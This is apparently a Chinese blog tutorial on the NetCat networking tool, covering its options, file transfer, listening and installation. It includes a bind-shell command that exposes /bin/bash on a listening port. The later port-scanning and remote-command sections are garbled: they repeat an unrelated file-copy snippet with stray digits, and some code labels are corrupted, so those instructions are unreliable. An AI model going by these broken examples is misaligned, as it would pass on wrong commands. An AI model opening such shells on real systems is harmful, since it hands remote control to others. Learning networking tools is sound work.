首先介绍一下今天的主角——NetCat,NetCat简称nc,诞生于1995年,距今已经28年。
nc以体积小(可执行 200KB)功能灵活而著称,被誉为“瑞士军刀”般的存在。它可以帮助我们进行各种网络操作,包括端口扫描、文件传输、远程命令执行等。无论开发、安全,还是个人使用。
其参数有以下几个:
-d 后台模式
-e prog 程序重定向,一旦连接,就执行-e后面的程序 [危险!!]
我们可以通过shell绑定将Windows下的cmd和Linux的/bin/sh绑定,这样非常危险,我们整个系统对别人来说是完全透明,
从下面的例子中我们可以看到。这也是Linux默认去掉-e参数的原因。
-z:用来扫描机器端口 nc -z -v localhost 1-1024
-w:用来表示等待多久时间(以秒为单位)
-l:表示用来作为服务器
-p:表示端口 nc localhost 12345 -p 12346(指定本地端口为12346, 连接到localhost的12345端口)
-r:随机使用端口 nc localhost 12345 -r(随机使用可用端口),效果跟 nc localhost 12345 一样
-v:显示执行过程
-vv:更加详细的显示执行过程
-q:客户端在收到EOF时,经过多少秒才会停止,默认在收到EOF时,客户端会直接停止
-k:用在服务器端,表示当客户端连接断开时,服务器依然保持运行。默认为当客户端断开连接时,服务器端会退出.当不加该参
数时,服务器只能有一个连接,第二个客户端会连接不上,但唯一的客户大un关闭时,服务器也就关闭了加了该参数,服务
器可以接收多个连接,且当所有客户端退出时,服务器依然运行
-u:使用udp协议
-n:使用的是数字的ip地址,不加可以使用域名
-4:使用的是ipv4
-6:使用的是ipv6
nc可以用来作为远程文件复制:
将客户端的copy文件复制到服务器端
服务端:
nc -l 12345 > copy.txt
客户端:
nc localhost 12345 < copy.txt
创建远程连接
服务端:
nc -l 1567 -e /bin/bash -i
客户端:
nc 172.31.100.7 1567
大部分的Linux发行版会都会自带Netcat,可以使用nc命令查看系统中是否有安装Netcat
$ nc
usage: nc [-46AacCDdEFhklMnOortUuvz] [-K tc] [-b boundif] [-i interval] [-p source_port]
[--apple-recv-anyif] [--apple-awdl-unres]
[--apple-boundif ifbound]
[--apple-no-cellular] [--apple-no-expensive]
[--apple-no-flowadv] [--apple-tcp-timeout conntimo]
[--apple-tcp-keepalive keepidle] [--apple-tcp-keepintvl keepintvl]
[--apple-tcp-keepcnt keepcnt] [--apple-tclass tclass]
[--tcp-adp-rtimo num_probes] [--apple-initcoproc-allow]
[--apple-tcp-adp-wtimo num_probes]
[--setsockopt-later] [--apple-no-connectx]
[--apple-delegate-pid pid] [--apple-delegate-uuid uuid]
[--apple-kao] [--apple-ext-bk-idle]
[--apple-netsvctype svc] [---apple-nowakefromsleep]
[--apple-notify-ack] [--apple-sockev]
[--apple-tos tos] [--apple-tos-cmsg]
[-s source_ip_address] [-w timeout] [-X proxy_version]
[-x proxy_address[:port]] [hostname] [port[s]]
出现上面提示信息说明系统中已经安装了Netcat,如果没有安装,可以使用下面命令进行安装
$ wget https://sourceforge.NET/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz
$ tar zxvf netcat-0.7.1.tar.gz
$ cd netcat-0.7.1
$ ./configure
$ make
$ make install
一、Netcat的基本用法
1 建立TCP连接
使用Netcat可以轻松地建立TCP连接。通过在命令行中输入以下命令,我们可以连接到目标主机的指定端口:
phpnc <target_ip> <target_port>
例如,连接到目标主机的22端口:
nc 192.168.1.100 22
2 监听端口并接收连接
Netcat还可以用于监听本地端口并接受远程连接。使用以下命令即可:
cssnc -l 0.0.0.0 <local_port>
其中,“-l”表示监听模式,“0.0.0.0”表示监听所有IP地址,“”为本地要监听的端口。例如,监听本地的4444端口:
cssnc -l 0.0.0.0 4444
3 数据传输
通过Netcat,我们可以实现数据传输。例如,将本地文件传输到远程服务器:
phpnc -l 0.0.0.0 <local_port> < /path/to/local/file
上述命令将在本地端口上监听连接,并将指定文件的内容发送到连接的客户端。
二、实战演练:使用Netcat进行端口扫描和远程命令执行
1 端口扫描
通过Netcat,我们可以快速扫描目标主机的开放端口。以下是一个简单的端口扫描示例:
服务端:
nc -l 12345 > copy.txt
客户端:
nc localhost 12345 < copy.txt
0
其中,“-n”表示不进行DNS解析,“-vz”表示详细输出结果(包括成功的端口和失败的端口)。"-"表示要扫描的端口范围。例如,扫描目标主机192.168.1.100的1-1000端口:
服务端:
nc -l 12345 > copy.txt
客户端:
nc localhost 12345 < copy.txt
1
2 远程命令执行
Netcat还可以用于执行远程命令。通过在监听端口的命令行中输入以下命令,我们可以在远程服务器上执行命令:
服务端:
nc -l 12345 > copy.txt
客户端:
nc localhost 12345 < copy.txt
2
例如,在目标主机上执行“id”命令并将结果发送到本地4444端口:
服务端:
nc -l 12345 > copy.txt
客户端:
nc localhost 12345 < copy.txt
3
在本地4444端口监听连接,将“id”命令的执行结果发送到同一主机的4444端口。这样,我们就可以通过Netcat执行远程命令了。
内容整合自网络,仅用于学习交流分享,如有侵权请联系删除
我为大家整理了一份从入门到进阶的网络安全学习资料包,包含网安书籍、网安导图、网安工具等等,扫描下方二维码,备注【安全】免费领取
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...